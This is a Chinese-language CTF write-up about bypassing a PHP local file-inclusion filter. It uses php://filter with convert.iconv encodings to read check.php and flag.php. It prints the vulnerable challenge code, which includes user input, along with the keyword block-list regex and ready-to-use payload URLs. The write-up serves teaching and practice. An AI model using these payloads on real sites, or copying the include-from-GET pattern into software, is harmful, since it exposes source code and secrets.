文件包含之 php://filter的convert.iconv.* 绕过
2020_11_11
绕过方式
convert.iconv.* //格式如下
convert.iconv.<input-encoding>.<output-encoding>
or
convert.iconv.<input-encoding>/<output-encoding>
编码方式见:https://www.php.net/manual/en/mbstring.supported-encodings.php
filename=php://filter/convert.iconv.SJIS*.UCS-2/resource=flag.php
题目示例
打开是一串php代码
<?php
highlight_file(__FILE__);
include("./check.php");
if(isset($_GET['filename'])){
$filename = $_GET['filename'];
include($filename);
}
?>
易知考我们文件包含
不写太多直奔主题
运用php伪代码读取包含的文件
1.直接读取被过滤
2.试试base64绕过
?filename=php://filter/convert.base64-encode/resource=check.php
后面加上面的读取check.php的,发现被过滤
如果没有 base 和 encode 就不会被过滤
?filename=php://filter/convert.bas1e64-en1code/resource=check.php
3.convert.iconv.* 绕过
这时运用上面的绕过方法
?filename=php://filter/convert.iconv.SJIS*.UCS-2/resource=check.php
有很多的编码方式,可以都试试看哪个没被绕过
成功绕过,发现check.php为过滤格式,没有flag
<?php if($_GET["filename"]){
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username)) {
die("do not hack!");
}
}
读取flag.php
别问为什么是flag.php,问就是猜的
参考资料
wp:
https://blog.csdn.net/yuanxu8877/article/details/127607264
https://blog.csdn.net/shelter1234567/article/details/127393549
编码方式:
https://www.php.net/manual/en/mbstring.supported-encodings.php
参考绕过思路:
https://blog.csdn.net/woshilnp/article/details/117266628
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· Manus的开源复刻OpenManus初探
· 三行代码完成国际化适配,妙~啊~
· .NET Core 中如何实现缓存的预热?
· 如何调用 DeepSeek 的自然语言处理 API 接口并集成到在线客服系统